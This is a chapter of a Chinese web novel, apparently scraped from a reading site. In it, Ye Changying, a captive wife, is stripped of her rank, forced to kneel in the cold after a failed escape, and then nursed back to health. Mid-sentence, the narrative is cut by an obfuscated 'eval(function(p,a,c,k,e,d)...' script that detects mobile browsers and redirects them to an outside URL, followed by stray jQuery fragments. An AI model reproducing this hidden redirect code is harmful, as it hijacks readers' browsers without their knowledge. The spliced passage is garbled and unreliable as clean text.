默认冷灰
24号文字
方正启体

23. 狡诈

作者:青扶客本书字数:K更新时间:
    温时琰进入帐内,果然见温煜霖面色不善,他一进来便问:“你来做什么?”


    温时琰立马跪倒,说:“儿臣来请罪。”


    “你有何罪呀?”温坐于榻上,居高临下地看着他问。


    温时琰回道:“儿臣治家无方,才使叶氏屡犯家规。明知她心系母国,一直怀有出逃之心,却疏于防范,才使她寻得漏洞,再次逃跑。”


    “她首次逃跑未遂之后,儿臣也怀疑她心存异心,派人在暗中监视,并将儿臣的心腹派去她身旁服侍。虽见她无任何异常行为,儿臣仍是不敢有丝毫疏忽。只是她中毒之后身体一直羸弱,以为她就是想逃也是有心无力,所以不免放松了警惕,不料却因此让她有了可趁之机。”


    “这次让她逃跑全是因儿臣疏忽大意,儿臣故来向父王请罪。”


    “三番五次地逃跑,全然不将你我放在眼里,其动机如何暂且不谈,她此番行事早将黎国的尊严掷于地上。”听了温时琰的一番话,温煜霖怫然道。


    “儿臣在府上得知她再次逃跑之事,恼怒之下已是起了杀心,不过冷静过后深知此事牵扯甚广,不敢擅自定夺,所以来请示父王了。”


    “嗯…”温煜霖沉吟片才说,“你说,她一心想要逃跑,为的是什么?”


    “儿臣见她跑入北蜀国境地,第一个念头便是她与北蜀国有什么不利于黎国的勾当。可据王兄所言,当时并无北蜀国的人马来接应,只叶女一人像无头苍蝇般在草原上到处乱闯,看来是在草原上迷失了方向。”


    “况且她在府上并未与什么可疑之人碰过面,也未见她收到什么外来的信件,所以儿臣认为她此次出逃应该是出于女儿家心性,并非另有图谋。”


    “女儿家心性?”温眼中闪过一丝怀疑道。


    “据下人所言,叶氏多次向他们诉说思家之苦。在她逃跑之前也曾几次对儿臣说想回中州探亲,但都被儿臣拒绝了。”


    “而且在逃之前她并不知道承胤皇室已经灭亡,方才儿臣告知她此事时,她因无法接受国破家亡的事实,晕厥了过去。儿臣由此推测她此次逃跑确实是因为思家心切,逃至北国也是纯属巧合,她也许是迷失了方向才误打误撞进入了北蜀国。”


    “以上全是儿臣的推测,具体事实如何还需进一步调查。”


    “她是你的人,就由你自己来处理吧。”温煜霖说,“不过大战在即,不必为此费过多心神。”


    “是,”温时琰道,“那儿臣先告退了。”


    温时琰离开后温煜霖对身边的说:“看来是我小瞧她了,老大前脚才替她求情,老二后脚又进来为她开脱,她当真是有点本事的。”


    “主公,臣听闻叶氏一直遭受公子冷落。公子后来将她从偏院接至西院,却也从不曾在她房里过夜。如此看来,公子的那番话倒不像是在为叶氏开脱。公子琰一向是非分明,应该不会轻易受叶女的迷惑。”


    “不过此女确实狡诈,如若此时不除,只怕日后会生祸端。”


    “哈哈哈,”温听罢却大笑起来,说:“叶天祁的种果然不是善类,我倒要看看她能有多狡诈。”


    叶长赢躺在床上觉得口渴难耐,想起身去寻口水喝,可挣扎了几数都没能起来,马背上这一摔,着实将她伤得不轻。


    以如今这个身体状况,就算对方主动放自己离开,也怕是走不了了。


    就在这时,帐子被人撩开,陆续进来几个人。


    这怕是要来取她性命了。叶长赢惊道。


    其中一人手持一卷帛书,在床前站定,展开了那卷帛书,道:“咨尔叶氏,不守妇道,背弃天地,屡犯国法,其德不配位,不堪表率,今废其正位,贬为侧室。”


    温时琰啊温时琰,你的手段当真了得!叶长赢心道。


    他不取自己性命,只夺去她的正妻之位,既可以迎娶自己心爱之人,又能得一个宽厚仁慈之美名,真是一石二鸟。


    废了就废了,她还能在乎这个名份不成?


    不过对方接下来的话才让她真正意识到温时琰的冷血无情,对方合上帛书后又继续说:“公子言:鉴于叶氏不懂礼法家规,言行屡有乖张,故罚其跪于门外,将《女则》抄写百遍。”


    语毕,身后两个仆妇便走上前,将叶长赢从床上拉起来,连拖带拽便将她带至门外。


    “公子说了,你何时抄写完毕,何时就可起来,若抄不完,就一直跪着。”下人说着便将纸和笔放置她跟前。


    她来到这片草原上时还是阳光和煦,今日却偏生乌云密布了。她身着一身单薄的衣裳,那凉意一阵又阵朝她袭来,从脚底直凉直心底。


    她手上的动作还不能停下来,两个仆妇在一旁盯着她,她手中的笔但凡慢了一些,都会遭到她们的训斥。


    没过多久,叶长赢的双手便被冻得僵硬,已经握不住笔了。膝盖已是疼得失去了知觉。


    她心想:这样下去她要跪到何时啊?这种罪谁爱受谁受去,她可受不了。叶长赢偷偷瞄了身旁的仆妇一眼,突然灵机一动,身子一软,便倒了下去。


    “她晕了。”她听到仆妇在说,不一会儿便有人过来推了推她,又伸出手探了探她的鼻息说:“还有气儿。”


    “把她抬进去吧,别闹出人命了。”听了这话,叶长赢暗自高兴,却又听另一人说:“怕什么,一条贱命而已,难道这里还有人在乎她的死活么?”


    什么?叶长赢心中一凉,她以为仆妇见自己晕倒,至少会有点慌张的,不料却说出这样的话。看来,她还是高估自己的身份了。


    不过这样也好,躺着总比跪着要好。


    也不知过了多久,叶长赢感觉自己的身体都僵硬了,也无人上前来查看。


    似乎是困了,眼皮越来越重,最后彻底睁不开眼了,周围静极了,只有冷风无声地击打在身上。


    最后,连冷风也感受不到了。


    她进入了梦乡,梦里没有痛苦,也没有寒冷。


    只是感觉口干舌燥,她下意识地说:“水……喝水。”


    恍惚间,似有杯盏凑至唇边,叶长赢张嘴,果有甘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608149|185582||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    霖入喉。


    饮过水,便又沉沉睡了过去,也不知过了多久,意识才又渐渐恢复过来。


    但只觉得头脑酸胀难耐,努力想睁开眼睛,可眼皮像是被粘在一起了一般,怎么也睁不开。


    只觉得身上暖洋洋的,仿佛置身于春日暖阳之下,叶长赢不禁又安心地睡了过去。


    等她醒来时才发现自己正躺在榻上,床边火炉里炭烧得正红。


    “夫人醒了。”守在一旁的仆妇走过来将她扶起来道,“您现在感觉如何?身体可有不适之处?”


    “我睡了多久了?”叶长赢揉了揉酸胀的眉心问。


    “夫人,您都昏迷了三天三夜了。”仆妇回道。


    听闻此言,叶长赢惊讶得瞪大了双眼。


    她以为自己只是睡了几个时辰,不曾想却昏迷了这么久。


    就在她愣神的间隙,有人撩开帷幕进来了,叶长赢一抬头,发现是温时琰时她心头就莫名紧张起来。


    她以为对方又是来问责的,不曾想他却往床上一坐,问道:“你好些了么?”


    叶长赢心道:“我若是说好些了,那么等待我的又是罚跪,干脆再装一次晕好了。可上次装晕之后却昏迷了几日,再装一次怕是真的醒不来了。”


    正思索间,对方又一次开口了,说:“我不会再让你罚跪了,书也不会让你再抄,你安心养病就是。”


    叶长赢感到有些错愕,心想他真有这么好心么?


    又听他吩咐下人道:“夫人已经几日滴米未进了,去熬些米汤来。”


    下人应声出去了,温时琰深深看了她一眼,也出去了。


    叶长赢感觉自己全身都酥软无力,许是染了风寒,也许是旧疾复发了。


    也不知这个身体何时能好,自那次中毒以后,她的身体就大不如前了,再加上逃跑时的一路折腾,让她本就虚弱的身体更加雪上加霜。


    好在不用罚跪了,她可以安心养病,等病养好了,再做后面的打算。


    喝了下人送来的米汤,叶长赢感觉身体恢复了些许力气,但她也只在榻上躺着或坐着。


    期间医师来过一回,给她开了几味药,就再无人来过,身旁只有几个伺候的仆妇。


    今日的仆妇倒对她恭恭敬敬的,不像那日她被罚跪时看守她的仆妇那样冷言冷语的。


    温时琰与仆妇们态度的转变,令叶长赢有些捉摸不透。


    用了晚膳,叶长赢在仆妇的伺候下换了一身干净的衣裳,便又重新躺回了床上。


    但躺了一会儿便觉得浑身难受,叶长赢心想许是自己一直躺着的缘故,于是又让仆妇扶她坐了起来。


    就在此时,温时琰走了进来,他还是像先前一般问她的身体如何。


    就坐到了榻上,说:“我这么做也是逼不得已,你怪我也罢,恨我也好,但千万不要再任性了。”


    “夫君不杀我,便已是大慈大悲,我哪里还敢怪你、恨你。”叶长赢虽不知他话中的意思,但想起他之前的所作所为,怨气不免就上来了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)